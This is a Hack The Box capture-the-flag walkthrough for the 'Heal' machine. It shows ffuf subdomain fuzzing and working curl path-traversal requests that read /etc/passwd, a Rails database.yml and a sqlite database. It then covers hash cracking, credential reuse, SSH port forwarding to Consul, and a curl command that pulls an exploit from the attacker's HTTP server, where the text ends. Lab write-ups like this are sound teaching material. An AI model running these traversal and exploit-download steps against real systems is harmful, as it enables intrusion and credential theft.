Heal
Summay
Heal is a medium difficulty machine which was only running a web server and a SSH service. The web server was running a ruby on rails application which was vulnerable to an LFI (Local File Inclusion) and allowed us to read the database file. The database file contained a password hash which we were able to crack and use to login into the application as an administrator. The administrator account had access to a limesurvey application which was running on another subdomain. We were able to use the same credentials to login into this application and get access to the limesurvey application, which was vulnerable to CVE-2021-12-09, abusing the exploit we got a foothold on the machine as www-data. Reading the configuration files for the limesurvey application, we found the credentials for the database and the SSH user ron had reused those credentials. Using the credentials for the SSH user, we were able to login into the machine as ron and escalate our privileges to root by abusing the consul service which was running locally on port 8500 of the machine.
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80 - Web
Vhost Fuzz
Fuzzing the application for subdomains we encountered the api subdomain
1
ffuf -u http://heal.htb -H 'Host: FUZZ.heal.htb' -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -ic -c
Command breakdown:
-u: URL to fuzz-H: Header to send with the request-w: Wordlist to use for fuzzing-ic: Ignore comments on wordlist-c: Colorize the output-fs: Filter the results by file size
We see that we are getting constant results with file size 178, so we can filter the results from ffuf with the parameter -fs
1
ffuf -u http://heal.htb -H 'Host: FUZZ.heal.htb' -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -ic -c -fs 178
We add this subdomain to our /etc/hosts file
1
2
cat /etc/hosts
10.10.11.46 api.heal.htb heal.htb
The web server is very sensitive for handling multiple requests, so our directory fuzzing must be done with fewer threads then normal. Using the dirsearch tool on the api.heal.htb host, we can find a reference to a /profile and /download endpoint. Upon interacting with both endpoints, I started receiving an invalid token error:
1
2
curl 'http://api.heal.htb/download.php'
{"errors":"Invalid token"}%
Analyzing the requests our browser makes after we login on the heal.htb application, we can see it is sending an authorization header in the request
By sending this header on our download request, we started getting a different error
1
2
3
curl 'http://api.heal.htb/download' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
{"errors":"Error downloading file: no implicit conversion of nil into String"}
It is probably downloading a file, so we started to fuzz for parameter names and try for an LFI vulnerability. Since the webserver was very sensitive about fuzzing the application, I tried to manually enumerate the parameter of the download endpoint with words like file, name, archive, filename, and I’ve found that filename was the correct parameter.
If the server wasn’t so sensitive about multiple requests, we could have enumerated this endpoint parameter using the command
ffuf -u 'http://api.heal.htb/download?FUZZ=../../../../../../../etc/passwd' -H 'Authorization: Bearer \<TOKEN\> -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ic -c -t 10 -fr "no implicit conversion" -x http://127.0.0.1:8080
1
2
3
4
5
6
curl 'http://api.heal.htb/download?filename=../../../../../../../../etc/passwd' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<SNIP>
With that, we can read some files of the server.
To have a better idea of some important files inside the server, since we know it is running ruby on rails, we can deploy a simple web instance of this service and manually enumerate the file structure.
1
rails new testapp --api -d postgresql
1
2
3
4
5
cd testapp
ls
.dockerignore .gitattributes .gitignore .rubocop.yml app config db Gemfile lib public README.md storage tmp
.git .github .kamal .ruby-version bin config.ru Dockerfile Gemfile.lock log Rakefile script test vendor
1
2
3
4
ls config
application.rb cable.yml credentials.yml.enc deploy.yml environments locales puma.rb recurring.yml storage.yml
boot.rb cache.yml database.yml environment.rb initializers master.key queue.yml routes.rb
Reading the database.yml file, we can get some information about sqlite files present on the server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl 'http://api.heal.htb/download?filename=../../config/database.yml' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0fQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w'
<SNIP>
development:
<<: *default
database: storage/development.sqlite3
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
<SNIP>
We can download the development.sqlite3 file from the server and read it locally with curl 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' --output ~/HTB/Medium/Heal/development.sqlite3
Enumerating the database, we can find a hash the we were able to crack using hashcat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sqlite3 development.sqlite3 '.tables'
ar_internal_metadata token_blacklists
schema_migrations users
sqlite3 development.sqlite3 'PRAGMA table_info("users");'
0|id|INTEGER|1||1
1|email|varchar|0||0
2|password_digest|varchar|0||0
3|created_at|datetime(6)|1||0
4|updated_at|datetime(6)|1||0
5|fullname|varchar|0||0
6|username|varchar|0||0
7|is_admin|boolean|0||0
sqlite3 development.sqlite3 'select username, password_digest from users;' | sed 's/|/:/' | tee -a users
ralph:<REDACTED>
railoca:$2a$12$0xVKdMIa5mo.G8w669bs6uKkPbbo5ZFw9F7ldGk/.eHVAMI7/e8xu
hashcat -m 3200 users --username --show
ralph:<REDACTED>:<REDACTED>
With this password, we couldn’t connect to ssh still, so we try connecting to the application instead and we are successfully logged with administrator privileges on the application
By looking at the survey tab, we are redirected to another subdomain
Ralph credentials were valid to login on admin dashboard
At config.php file at /var/www/limesurvey/application/config, we found some more credentials
Trying the password for the ron user, we can see that he reused the password for the database
To get a more stable shell then nc, we established an SSH connection. After that we listed the processes running on the machine
1
ss -lntp
With a simple bash script, we can curl every internal service to see which ones are an http(s) server to see if there are any internal servers running.
1
ss -lntp | awk '{print $4}' | while IFS= read host; do echo "curling host: $host"; curl -s "$host" |head -n1 ;done
We can see that the internal port 8500 is returning a valid http response. To access it through ssh, we can use the -L parameter to forward the port to our local machine with -L <local_port>:<remote_host>:<remote_port>, where <local_port> is the port we want to use on our local machine, <remote_host> is the host we want to connect to (in this case localhost) and <remote_port> is the port we want to connect to (in this case 8500), resulting in the command -L 8500:127.0.0.1:8500.
We need to pass this parameter on a
sshcommand, or we coudl specify the option-o EnableEscapeCommandLine=yesto enable the escape command line, which allows us to use the~Ccommand to open a ssh shell, where we could send this command to do the port forward
1
2
ssh> -L 8500:127.0.0.1:8500
Forwarding port.
Accessing the forwarded port, we can see that we have now access to a consul v1.19.2 dashboard
Looking up for exploits for this specifc version, I was able to find the following exploit. Sending it to the remote host with a python http server I was able to execute the exploit.
1
2
3
4
5
# Start the python http server on our machine
python3 -m http.server 8000
# Download the exploit on our remote host
curl http://<YOUR_IP>:8000/51117.py -o exploit.py
















